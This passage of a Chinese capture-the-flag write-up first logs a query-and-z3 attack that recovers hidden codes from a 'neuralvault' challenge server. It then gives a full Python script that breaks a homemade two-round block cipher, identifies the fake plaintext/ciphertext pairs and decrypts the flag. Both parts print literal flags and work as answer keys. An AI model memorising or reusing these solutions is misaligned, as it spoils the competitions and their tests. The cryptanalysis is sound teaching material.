46 | 165 | 0 | 108 |
47 | 166 | 0 | 107 |
48 | 167 | 0 | 106 |
49 | 168 | 1 | 105 |
50 | 169 | 0 | 104 |
51 | 170 | 0 | 103 |
52 | 171 | 0 | 102 |
53 | 172 | 0 | 101 |
54 | 173 | 0 | 100 |
55 | 174 | 0 | 99 |
56 | 175 | 0 | 98 |
57 | 176 | 0 | 97 |
58 | 177 | 0 | 96 |
59 | 178 | 0 | 95 |
60 | 179 | 0 | 94 |
61 | 180 | 0 | 93 |
62 | 181 | 0 | 92 |
63 | 182 | 0 | 91 |
64 | 183 | 1 | 90 |
65 | 184 | 0 | 89 |
66 | 185 | 0 | 88 |
67 | 186 | 0 | 87 |
68 | 187 | 0 | 86 |
69 | 188 | 0 | 85 |
70 | 189 | 0 | 84 |
71 | 190 | 1 | 83 |
72 | 191 | 0 | 82 |
73 | 192 | 0 | 81 |
74 | 193 | 0 | 80 |
75 | 194 | 0 | 79 |
76 | 195 | 1 | 78 |
77 | 196 | 0 | 77 |
78 | 197 | 0 | 76 |
79 | 198 | 0 | 75 |
80 | 199 | 0 | 74 |
81 | 200 | 0 | 73 |
82 | 201 | 0 | 72 |
83 | 202 | 1 | 71 |
84 | 203 | 0 | 70 |
85 | 204 | 0 | 69 |
86 | 205 | 1 | 68 |
87 | 206 | 0 | 67 |
88 | 207 | 0 | 66 |
89 | 208 | 0 | 65 |
90 | 209 | 0 | 64 |
91 | 210 | 0 | 63 |
92 | 211 | 0 | 62 |
93 | 212 | 0 | 61 |
94 | 213 | 0 | 60 |
95 | 214 | 0 | 59 |
96 | 215 | 0 | 58 |
97 | 216 | 0 | 57 |
98 | 217 | 0 | 56 |
99 | 218 | 0 | 55 |
100 | 219 | 0 | 54 |
101 | 220 | 0 | 53 |
102 | 221 | 0 | 52 |
103 | 222 | 0 | 51 |
104 | 223 | 0 | 50 |
105 | 224 | 2 | 49 |
106 | 225 | 0 | 48 |
非零直方图:
code k | h_k |
|---|---|
123 | 1 |
128 | 1 |
137 | 1 |
141 | 2 |
145 | 1 |
148 | 1 |
152 | 1 |
168 | 1 |
183 | 1 |
190 | 1 |
195 | 1 |
202 | 1 |
205 | 1 |
224 | 2 |
求和:
sum(h_k) = 16这一步同时验证了本地 codebook 和靶机推理完全一致:如果任何一张图的 code 与本地不同,16 个槽就不可能恰好各贡献一次,和会小于 16。
扫描阶段:22 次查询完整表
扫描的构造:
把 16 个 code occurrence 展开成多重集合
T;随机取两个排列
P、B;对每个槽
i,找B[i]在P中的位置r_i;第
a次移位查询给槽i分配P[(r_i + a) mod 16]。
前 16 次(#0–#15)是第一次扫描的完整循环;#16–#21 是第二次扫描的前 6 个移位。z3 在 #21 之后给出唯一解,于是自适应停止,没有继续跑完第二次扫描。
# | score S_a | check_left | 本次给 16 个槽分配的 code(slot 0→15) |
|---|---|---|---|
0 | 0 | 47 | 168 141 202 152 137 123 224 190 224 141 128 183 205 145 148 195 |
1 | 0 | 46 | 123 152 224 224 148 190 137 205 141 145 183 202 128 195 168 141 |
2 | 3 | 45 | 190 224 141 137 168 205 148 128 145 195 202 224 183 141 123 152 |
3 | 1 | 44 | 205 137 145 148 123 128 168 183 195 141 224 141 202 152 190 224 |
4 | 0 | 43 | 128 148 195 168 190 183 123 202 141 152 141 145 224 224 205 137 |
5 | 1 | 42 | 183 168 141 123 205 202 190 224 152 224 145 195 141 137 128 148 |
6 | 2 | 41 | 202 123 152 190 128 224 205 141 224 137 195 141 145 148 183 168 |
7 | 2 | 40 | 224 190 224 205 183 141 128 145 137 148 141 152 195 168 202 123 |
8 | 1 | 39 | 141 205 137 128 202 145 183 195 148 168 152 224 141 123 224 190 |
9 | 0 | 38 | 145 128 148 183 224 195 202 141 168 123 224 137 152 190 141 205 |
10 | 1 | 37 | 195 183 168 202 141 141 224 152 123 190 137 148 224 205 145 128 |
11 | 3 | 36 | 141 202 123 224 145 152 141 224 190 205 148 168 137 128 195 183 |
12 | 3 | 35 | 152 224 190 141 195 224 145 137 205 128 168 123 148 183 141 202 |
13 | 1 | 34 | 224 141 205 145 141 137 195 148 128 183 123 190 168 202 152 224 |
14 | 0 | 33 | 137 145 128 195 152 148 141 168 183 202 190 205 123 224 224 141 |
15 | 2 | 32 | 148 195 183 141 224 168 152 123 202 224 205 128 190 141 137 145 |
16 | 3 | 31 | 224 145 137 141 202 168 128 123 141 205 152 190 183 224 148 195 |
17 | 3 | 30 | 190 148 152 128 183 224 141 145 205 224 202 168 141 123 195 137 |
18 | 4 | 29 | 168 195 202 141 141 123 205 148 224 190 183 224 128 145 137 152 |
19 | 0 | 28 | 224 137 183 205 128 145 224 195 190 168 141 123 141 148 152 202 |
20 | 1 | 27 | 123 152 141 224 141 148 190 137 168 224 128 145 205 195 202 183 |
21 | 1 | 26 | 145 202 128 190 205 195 168 152 224 123 141 148 224 137 183 141 |
唯一解
22 次扫描后,z3 返回的 16 个 code:
[205, 202, 190, 141, 141, 224, 128, 224,
145, 148, 195, 168, 183, 123, 137, 152]对应每个槽:
slot | required_class | target code |
|---|---|---|
0 | 1 | 205 |
1 | 3 | 202 |
2 | 3 | 190 |
3 | 7 | 141 |
4 | 0 | 141 |
5 | 6 | 224 |
6 | 6 | 128 |
7 | 6 | 224 |
8 | 9 | 145 |
9 | 0 | 148 |
10 | 4 | 195 |
11 | 2 | 168 |
12 | 1 | 183 |
13 | 5 | 123 |
14 | 7 | 137 |
15 | 8 | 152 |
最终验证
用这 16 个 code 从 codebook 取出 16 张图,提交:
[verify] matches=16 check_left=25服务器返回:
{
"status": "unlocked",
"matches": 16,
"check_left": 25,
"flag": "flag{7a14b2a1-f18b-4c2a-a2d7-540a903b0809}"
}原始状态文件
完整状态(106 个直方图计数、22 条扫描记录、64 条 scan_plan、target、flag)保存在:
neuralvault/solver_state.json该文件就是运行时的逐条持久化结果,可以直接用来复核上面的表。
最终结果
16 个槽的隐藏 code:
slot | required_class | target code |
|---|---|---|
0 | 1 | 205 |
1 | 3 | 202 |
2 | 3 | 190 |
3 | 7 | 141 |
4 | 0 | 141 |
5 | 6 | 224 |
6 | 6 | 128 |
7 | 6 | 224 |
8 | 9 | 145 |
9 | 0 | 148 |
10 | 4 | 195 |
11 | 2 | 168 |
12 | 1 | 183 |
13 | 5 | 123 |
14 | 7 | 137 |
15 | 8 | 152 |
Flag:
flag{7a14b2a1-f18b-4c2a-a2d7-540a903b0809}Crypto
占卜师的账本
Summary
自制两轮分组密码,只给了零件(块大小 8、两轮、S 盒、密钥 40 位、rotate = 3, 4),
外加 64 组「明文 / 密文」账本,其中一小部分不是同一台机器产生的。
关键点:rotate = 3, 4 的单位其实是字节,并非账本字面写的位;
用一条与密钥扩展完全无关的逐字节差分判决式把 (r1, r2) 全扫一遍即可定位结构,
再逐字节求出有效轮密钥,48 条真数据全部复现,剩下 16 条就是假账,最后解密 flag。
Solution
Step 1: 与密钥无关的差分判决,扫出真实的旋转量
对任意两轮 C = rot_{r2}( S( rot_{r1}(S(P ⊕ A)) ⊕ B ) ),把第二轮逆回去:
U_i = S⁻¹( rot_{-r2}(C_i) ) => U_i = rot_{r1}( S(P_i ⊕ A) ) ⊕ BB 在相减时消掉,于是对任意一对 i, j,每个字节 b 都必须满足
S( P_i[b] ⊕ A[b] ) ⊕ S( P_j[b] ⊕ A[b] ) == rot_{-r1}( U_i ⊕ U_j )[b]左边只含 A[b](8 bit),右边只含密文。所以对每个字节枚举 256 个 A[b],
统计它能解释多少对样本:结构猜对时每字节有唯一候选、且解释 63 条里的一大半;猜错时最高支持数只有 2~5。
于是把 r1, r2 在 0..63 全扫,打分 = 8 个字节各自最大支持数之和(满分 504)。
结果极其干净:只有 r1 + r2 ≡ 56 (mod 64) 且两旋转都是 8 的倍数的那一族拿到 376(= 8×47),
其余全部落在 20 附近的噪声线。56 bit = 7 byte = 3 + 4,即账本里的 3, 4
是左旋 3 字节和 4 字节(24 / 32 位),而按字面当「3 位、4 位」用时 score(3,4) = 18,纯噪声。
这也正是队友此前两条路(按位旋转的 SPN 差分、Feistel 猜测)全部失败的原因。
Step 2: 求轮密钥、认假账、解密 flag
取 (r1, r2) = (24, 32),每字节的 256 选 1 直接给出 A;再用 B = U_i ⊕ rot_{r1}(S(P_i ⊕ A))
对 64 条取多数票得到 B。此时 48/64 条精确复现,剩余 16 条(2,6,8,11,20,24,29,37,40,41,43,49,55,56,58,62)
就是账本里「不是同一台机器」的假账。解 FLAG_CT 的 5 个块,末尾 \x02\x02 是填充,
去掉后即 flag。
#!/usr/bin/env python3
"""The Cartomancer's Ledger -- attachment -> flag. (python 3, numpy)"""
import re
import numpy as np
PATH = 'attachment'
raw = open(PATH, encoding='utf-8').read()
SBOX = list(bytes.fromhex(re.search(r'^SBOX:\s*([0-9a-f]+)', raw, re.M).group(1)))
FLAG_CT = bytes.fromhex(re.search(r'^FLAG_CT:\s*([0-9a-f]+)', raw, re.M).group(1))
corpus = re.findall(r'^([0-9a-f]{16})\s+([0-9a-f]{16})$', raw, re.M)
P = np.array([[int(p[i:i + 2], 16) for i in range(0, 16, 2)] for p, _ in corpus], np.uint8)
C = np.array([[int(c[i:i + 2], 16) for i in range(0, 16, 2)] for _, c in corpus], np.uint8)
S = np.array(SBOX, np.uint8)
SI = np.zeros(256, np.uint8)
SI[S] = np.arange(256, dtype=np.uint8)
AR = np.arange(256, dtype=np.uint8)
M64 = (1 << 64) - 1
def rotl(v, r):
r %= 64
v = int(v) & M64
return v if r == 0 else ((v << r) | (v >> (64 - r))) & M64
def rotr(v, r):
r %= 64
if isinstance(v, np.ndarray): # vectorised, uint64 wrap-around
return v if r == 0 else (v >> np.uint64(r)) | (v << np.uint64(64 - r))
return rotl(v, (64 - r) % 64)
def boxint(v, box):
"""apply an 8-bit box to every byte of a 64-bit big-endian word"""
return int.from_bytes(bytes(box[c] for c in int(v).to_bytes(8, 'big')), 'big')
# ---- 1. structure scan: S(P_i[b]^A[b]) ^ S(P_j[b]^A[b]) == rotr_r1( U_i ^ U_j )[b], U = SI(rotr_r2(C))
T = [S[P[:, b][:, None] ^ AR] for b in range(8)] # T[b][i,a] = S[P_i[b] ^ a]
X = [T[b][0][None, :] ^ T[b][1:] for b in range(8)] # (63,256)
Ci = [int.from_bytes(C[i].tobytes(), 'big') for i in range(64)]
score = np.zeros((64, 64), int)
for r2 in range(64):
U = np.array([boxint(rotr(v, r2), SI) for v in Ci], np.uint64)
du = U[0] ^ U[1:]
for r1 in range(64):
d = rotr(du, r1) if r1 else du
db = np.stack([np.frombuffer(int(v).to_bytes(8, 'big'), np.uint8) for v in d])
score[r1, r2] = sum(int((X[b] == db[:, b][:, None]).sum(0).max()) for b in range(8))
print('best (r1,r2) scores [max possible 8*63 = 504]:')
for r1, r2 in np.argwhere(score == score.max()):
print(f' r1={r1:2d} r2={r2:2d} score={score[r1, r2]}')
print(f'contrast: score(3,4)={score[3, 4]} score(4,3)={score[4, 3]} (noise ~20)')
R1, R2 = 24, 32 # 3 and 4 BYTES -- the flat r1+r2=56 family, ledger's "3, 4"
assert score[R1, R2] == score.max()
# ---- 2. recover the two effective round keys
U = [boxint(rotr(v, R2), SI) for v in Ci]
du = [int(U[0]) ^ int(U[j]) for j in range(64)]
D = [np.frombuffer(rotr(v, R1).to_bytes(8, 'big'), np.uint8) for v in du]
A = np.zeros(8, np.uint8)
for b in range(8):
cnt = (X[b] == np.array([D[j][b] for j in range(1, 64)])[:, None]).sum(0)
assert (cnt == cnt.max()).sum() == 1, 'ambiguous byte'
A[b] = int(np.argmax(cnt))
A = int.from_bytes(A.tobytes(), 'big')
B = np.array([np.bincount(np.array(
[(int(U[i]) ^ rotl(boxint(int.from_bytes(P[i].tobytes(), 'big') ^ A, S), R1)).to_bytes(8, 'big')[b]
for i in range(64)]), minlength=256).argmax() for b in range(8)], np.uint8)
B = int.from_bytes(B.tobytes(), 'big')
print(f'recovered A=0x{A:016x} B=0x{B:016x}')
# ---- 3. verify, list the bogus entries, decrypt
def enc(block):
p = int.from_bytes(block, 'big')
y = rotl(boxint(p ^ A, S), R1)
return rotl(boxint(y ^ B, S), R2).to_bytes(8, 'big')
def dec(block):
y = boxint(rotr(int.from_bytes(block, 'big'), R2), SI) ^ B
return (boxint(rotr(y, R1), SI) ^ A).to_bytes(8, 'big')
PB = [bytes.fromhex(p) for p, _ in corpus]
CB = [bytes.fromhex(c) for _, c in corpus]
good = [i for i in range(64) if enc(PB[i]) == CB[i]]
print(f'corpus: {len(good)}/64 pairs reproduced')
print('bogus pairs:', [i for i in range(64) if i not in good])
pt = b''.join(dec(FLAG_CT[i:i + 8]) for i in range(0, len(FLAG_CT), 8))
print('plaintext:', pt)
pad = pt[-1]
if 1 <= pad <= 8 and pt[-pad:] == bytes([pad]) * pad:
pt = pt[:-pad]
print('FLAG:', pt.decode())实际输出(约 1 s,Python 3.14 + numpy;脚本见 solve.py):
best (r1,r2) scores [max possible 8*63 = 504]:
r1= 0 r2=56 score=376
r1= 8 r2=48 score=376
r1=16 r2=40 score=376
r1=24 r2=32 score=376
r1=32 r2=24 score=376
r1=40 r2=16 score=376
r1=48 r2= 8 score=376
r1=56 r2= 0 score=376
contrast: score(3,4)=18 score(4,3)=19 (noise ~20)
recovered A=0x9d5cb9b2ba820adb B=0x1135823aaf97edfd
corpus: 48/64 pairs reproduced
bogus pairs: [2, 6, 8, 11, 20, 24, 29, 37, 40, 41, 43, 49, 55, 56, 58, 62]
plaintext: b'flag{0badd3dd2c04e899e4b98f5477c9cf02}\x02\x02'
FLAG: flag{0badd3dd2c04e899e4b98f5477c9cf02}补充说明:
恢复出的是有效轮密钥(各 64 bit)。账本说密钥 40 bit、两半各 20 bit,指的是原始钥匙;
决定加解密的是RK = expand(20 bit)之后的实际值,所以不必还原扩展函数。扫描里那 8 个同分
(r1, r2)是同一台机器在不同字节坐标系下的重参数化:
两轮旋转都按整字节时,旋转与逐字节 S 盒可交换,只有r1 + r2可观测。取(24, 32)(= 3、4 字节)即可。机器最终形态:
C = rotl_bytes( S( rotl_bytes( S(P ⊕ A), 3 ) ⊕ B ), 4 ),A=0x9d5cb9b2ba820adb,B=0x1135823aaf97edfd。
Flag
flag{0badd3dd2c04e899e4b98f5477c9cf02}